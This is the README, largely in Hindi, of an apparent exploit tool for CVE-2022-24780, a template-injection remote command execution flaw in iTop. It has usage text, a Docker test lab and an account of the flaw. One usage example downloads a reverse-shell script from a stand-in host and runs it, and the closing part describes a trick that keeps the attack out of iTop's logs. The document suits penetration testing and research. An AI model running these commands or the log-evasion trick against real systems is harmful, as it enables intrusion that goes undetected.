acceis/exploit-cve-2022-24780iTop < 2.7.6 - (प्रमाणित) दूरस्थ कमांड निष्पादन
iTop < 2.7.6 - (प्रमाणित) दूरस्थ कमांड निष्पादन
CVE-2022-24780 के लिए शोषण।
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
शोषण का पूर्ण प्रकार Watir का उपयोग करता है, जो Selenium द्वारा संचालित वेब ब्राउज़र का उपयोग करके उपयोगकर्ता ब्राउज़िंग का अनुकरण करता है। यह उपयोगकर्ता जानकारी को संरक्षित करने के लिए आवश्यक है। शोषण पोर्टल उपयोगकर्ता प्रोफ़ाइल पर उपयोगकर्ता जानकारी को संशोधित करने के लिए उपयोग किए जाने वाले फ़ॉर्म के एक उप-भाग में SSTI पेलोड इंजेक्ट करता है। जबकि कुछ मान हार्डकोड किए जा सकते हैं या HTML से पुनर्प्राप्त किए जा सकते हैं, अन्य (फ़ोन, स्थान, कार्य) जावास्क्रिप्ट के माध्यम से गतिशील रूप से लोड किए जाते हैं और HTML में इंजेक्ट किए जाते हैं। इसलिए शोषण को विनाशकारी न बनाने के लिए, उन मानों को पुनर्प्राप्त करने में सक्षम होने के लिए जावास्क्रिप्ट को निष्पादित करना आवश्यक है।
शोषण का हल्का प्रकार इतना ध्यान नहीं रखता है और इसके बजाय कुछ उपयोगकर्ता जानकारी फ़ील्ड (फ़ोन, स्थान, कार्य) पर विनाशकारी रूप से शून्य मान सेट कर देगा। हालांकि यह प्रकार निष्पादित करने में तेज़ है, कम निर्भरता की आवश्यकता है, कोई जावास्क्रिप्ट निष्पादित नहीं करेगा, और X वातावरण की आवश्यकता नहीं है (Watir को वेब ब्राउज़र चलाने के लिए इसकी आवश्यकता है)।
संक्षेप में: सभी bundle install स्थापित करें
पूर्ण प्रकार
जेम का उपयोग करने का उदाहरण:
gem install httpx docopt watir webdrivers
हल्का प्रकार
जेम का उपयोग करने का उदाहरण:
gem install httpx docopt nokogiri
डबल कोट्स (") या बैकस्लैश (\) वाले पेलोड का उपयोग करने की अनुशंसा नहीं की जाती है क्योंकि पेलोड JSON में इंजेक्ट किया जाता है।
चेतावनी: यह कंटेनर उत्पादन उपयोग के लिए उपयुक्त नहीं है!
vbkunin/itop:2.7.4 का उपयोग करते हुए - स्रोत - डॉकर हब
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
यह कमजोरी Markus KRELL द्वारा पाई गई।
खोजकर्ता द्वारा कमजोरी का विश्लेषण:
ACCEIS किसी भी अवैध गतिविधि को बढ़ावा या प्रोत्साहित नहीं करता है, इस रिपॉजिटरी द्वारा प्रदान की गई सभी सामग्री केवल अनुसंधान, शैक्षिक और खतरे का पता लगाने के उद्देश्यों के लिए है।
एक सुरक्षा ऑडिटर (या किसी अन्य व्हाट हैट भूमिका) के रूप में, एक ओर आप पहचाने गए एप्लिकेशन के संस्करण संख्या के आधार पर सैद्धांतिक कमजोरी की प्रभावी व्यावहारिक शोषणीयता को सत्यापित करने के लिए एक शोषण स्क्रिप्ट चलाना चाहते हैं, लेकिन दूसरी ओर आप चाहते हैं कि यह बिना किसी विनाशकारी कार्रवाई के ठीक से किया जाए ताकि ग्राहक एप्लिकेशन उसी स्थिति में रहे जैसा आपने पहली बार पाया था।
उदाहरण के लिए, यह शोषण उपयोगकर्ता प्रोफ़ाइल पृष्ठ पर होता है, इसलिए उपयोगकर्ता से पहले से भरी जानकारी वाला एक फ़ॉर्म है: पहला नाम, नाम, संगठन आईडी, ईमेल, फ़ोन, स्थान आईडी, कार्य, प्रबंधक आईडी। हमले के काम करने के लिए, आपको बस कमजोर फ़ील्ड को ओवरराइड करना होगा और दूसरों को शून्य मान या यादृच्छिक मान से भरना होगा यदि वे आवश्यक हैं। शोषण का हल्का प्रकार यही कर रहा है। लेकिन ऐसा करने से आप उस उपयोगकर्ता की वास्तविक जानकारी को नष्ट कर देंगे, यह परीक्षण वातावरण में समस्याग्रस्त नहीं है, हालांकि यदि आप उत्पादन वातावरण में हैं तो यह एक वास्तविक समस्या है। एक ब्लैक हैट इन सब की परवाह नहीं करेगा, लेकिन एक व्हाट हैट के रूप में हमें डेटा को संरक्षित करना होगा। इसलिए समाधान वास्तविक डेटा प्राप्त करना और इसे हमारे POST अनुरोध पर पुनः उपयोग करना है।
क्लासिकल वेब एप्लिकेशन पर, आपको अक्सर कमजोर एंडपॉइंट को लक्षित करने वाले सही पैरामीटर के साथ सीधे एक POST अनुरोध तैयार करना होता है। कभी-कभी आपको सत्र/कुकीज़, रीडायरेक्शन, कुछ पिछली स्थितियों को संभालने की आवश्यकता हो सकती है जो आवश्यक हो सकती हैं, कुछ आईडी या एंटी-सीएसआरएफ टोकन प्राप्त करना हो सकता है, लेकिन यह सब बहुत सीधा है और लगभग किसी भी भाषा में किसी भी HTTP लाइब्रेरी के साथ प्राप्त किया जा सकता है।
वास्तविक डेटा प्राप्त करने के लिए, जब फ़ॉर्म में डेटा निम्न से आता है:
यह कुछ आधुनिक वेब एप्लिकेशन पर थोड़ा मुश्किल होने लगता है जहां जटिल जावास्क्रिप्ट जोड़तोड़ से कई मान सेट किए जाते हैं। यहां आप केवल HTML पार्स नहीं कर सकते या REST API का अनुरोध नहीं कर सकते, आप जावास्क्रिप्ट फ़ाइल से सीधे मान प्राप्त नहीं कर सकते या कई पंक्तियों को पार्स करके मान की पुनर्गणना नहीं कर सकते। जब JS गणना इतनी जटिल होती है, कई अलग-अलग JS फ़ाइलों में होती है या जावास्क्रिप्ट स्रोत कोड अस्पष्ट या पैक किया जाता है, तो तंत्र को रिवर्स इंजीनियर करने और मान निकालने में बहुत अधिक प्रयास और समय लगेगा। उस स्थिति में, आपको वास्तव में एप्लिकेशन से जावास्क्रिप्ट के साथ इंटरैक्ट करना होगा। लेकिन एक क्लासिक शोषण स्क्रिप्ट जिसे केवल HTTP लाइब्रेरी की आवश्यकता है, वह अकेले ऐसा नहीं कर सकती!
कमजोरी का मैन्युअल रूप से शोषण करना आसान है, आप बस एप्लिकेशन ब्राउज़ करते हैं, अपने ब्राउज़र को सभी जावास्क्रिप्ट संभालने देते हैं, बस Burp Suite जैसे इंटरसेप्टिंग प्रॉक्सी सेट करते हैं ताकि अनुरोध भेजने से पहले उसे संशोधित कर सकें और आप ठीक हैं। लेकिन स्वचालित तरीके से ऐसा करना बहुत कठिन है। जावास्क्रिप्ट के साथ इंटरैक्ट करने और निष्पादित करने के लिए हमें एक हेडलेस ब्राउज़र (जिसे डिस्प्ले वातावरण की आवश्यकता हो भी सकती है और नहीं भी) और एक उपयोगकर्ता अनुकरण लाइब्रेरी की आवश्यकता है। सौभाग्य से पहले से ही उन्नत कार्यात्मक परीक्षण लाइब्रेरी हैं जिनका उपयोग हम हेडलेस ब्राउज़र चलाने के लिए कर सकते हैं। सबसे प्रसिद्ध Selenium है, लेकिन Cypress भी है। परीक्षण सूट के बाहर, ऐसी लाइब्रेरी भी हैं जो अधिक सामान्य ऑटोमेशन प्रदान करती हैं जैसे Playwright या puppeteer। दोनों ही मामलों में, यह एक DSL का उपयोग करता है जो उपयोगकर्ता व्यवहार का अनुकरण करता है जैसे कि कोई उपयोगकर्ता एप्लिकेशन का उपयोग कर रहा हो, इसलिए हम जो कोड लिखेंगे वह ब्राउज़र को "यहां क्लिक करें", "नाम फ़ील्ड में अपना नाम दर्ज करें", "इस लिंक पर क्लिक करें" आदि बताएगा। परीक्षण फ्रेमवर्क की सीमा यह है कि वे आपको केवल वही करने देते हैं जो एक सामान्य उपयोगकर्ता करेगा, उदाहरण के लिए एक सामान्य उपयोगकर्ता स्क्रिप्ट टैग या छिपे हुए फ़ील्ड की सामग्री नहीं लाता है, इसलिए आप भी ऐसा नहीं कर सकते। वे मान प्राप्त करने और उनकी तुलना अपेक्षित मान से करने के लिए भी होते हैं, न कि उन्हें सेट करने के लिए। साथ ही, हेडलेस ब्राउज़र का उपयोग करके निष्पादन बहुत धीमा है और कुछ बोझिल DSL लेखन की आवश्यकता हो सकती है। इसलिए अंत में हम हेडलेस ब्राउज़र और टेस्ट फ्रेमवर्क का जितना संभव हो उतना कम उपयोग करना चाहते हैं।
शोषण का हल्का प्रकार एप्लिकेशन से कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर वे सभी मान प्राप्त करता है जो वह प्राप्त कर सकता है और फ़ोन नंबर, स्थान आईडी और कार्य के लिए रिक्त मानों का उपयोग करता है, फिर शोषण भेजता है।
हालांकि शोषण का पूर्ण प्रकार एप्लिकेशन से कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर वे सभी मान प्राप्त करता है जो वह प्राप्त कर सकता है, फिर हेडलेस ब्राउज़र का उपयोग करके कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर उन 3 मानों को प्राप्त करता है जो जावास्क्रिप्ट से सेट किए गए थे, फिर शोषण भेजता है। यह लगभग वही प्रक्रिया है सिवाय इसके कि हम जावास्क्रिप्ट में भरे गए डेटा फ़ील्ड के लिए शून्य मानों का उपयोग नहीं करते हैं बल्कि वास्तव में उन्हें एक हेडलेस ब्राउज़र से प्राप्त करते हैं जो उन मानों को भरने वाले जावास्क्रिप्ट को निष्पादित करेगा ताकि उन्हें प्राप्त किया जा सके। तकनीकी रूप से केवल हेडलेस ब्राउज़र का उपयोग करके 100% शोषण लिखना भी संभव है लेकिन हमें पहले चर्चा की गई सीमाओं का सामना करना होगा, यही कारण है कि मैंने हेडलेस ब्राउज़र के न्यूनतम उपयोग के साथ हाइब्रिड दृष्टिकोण चुना।
कमजोरी CVE-2022-24780 के खोजकर्ता, Markus KRELL, ने एक विस्तृत विश्लेषण ब्लॉग लेख लिखा: iTop – Template Injection inside customer Portal.
संक्षेप में, कमजोरी उपयोगकर्ता प्रोफ़ाइल बदलने पर होती है। जब उपयोगकर्ता अपनी जानकारी अपडेट करने के लिए फ़ॉर्म सबमिट करता है तो यह बैकएंड के लिए विभिन्न मेटाडेटा वाला एक बड़ा JSON ऑब्जेक्ट भेजेगा लेकिन अपडेट करने के लिए उपयोगकर्ता डेटा JSON formproperties.layout.content उप-नोड में XHTML के रूप में संग्रहीत होता है। लेकिन Markus ने स्रोत कोड में देखा कि formproperties.layout.type XHTML या Twig दोनों को स्वीकार कर सकता है। बेशक जब उसने Twig का उल्लेख देखा तो उसने तुरंत संभावित SSTI के बारे में सोचा। इसलिए उसने एक कमजोर फ़ील्ड की पहचान करने के लिए सामग्री में प्रत्येक फ़ील्ड की कोशिश की और पाया कि data-field-id और data-field-flags विशेषताएँ कमजोर हैं। फिर क्लासिकल Twig टेम्पलेट इंजेक्शन पेलोड का उपयोग करना संभव है। फिर भी, बोनस के रूप में उसने पाया कि अभिव्यक्ति में |join(',') जोड़ने से परिणामी ऐरे को स्ट्रिंग में परिवर्तित किया जा सकता है और ऐसा करके iTop के लॉग में प्रवेश से बचा जा सकता है ताकि हमले को अधिक गुप्त बनाया जा सके।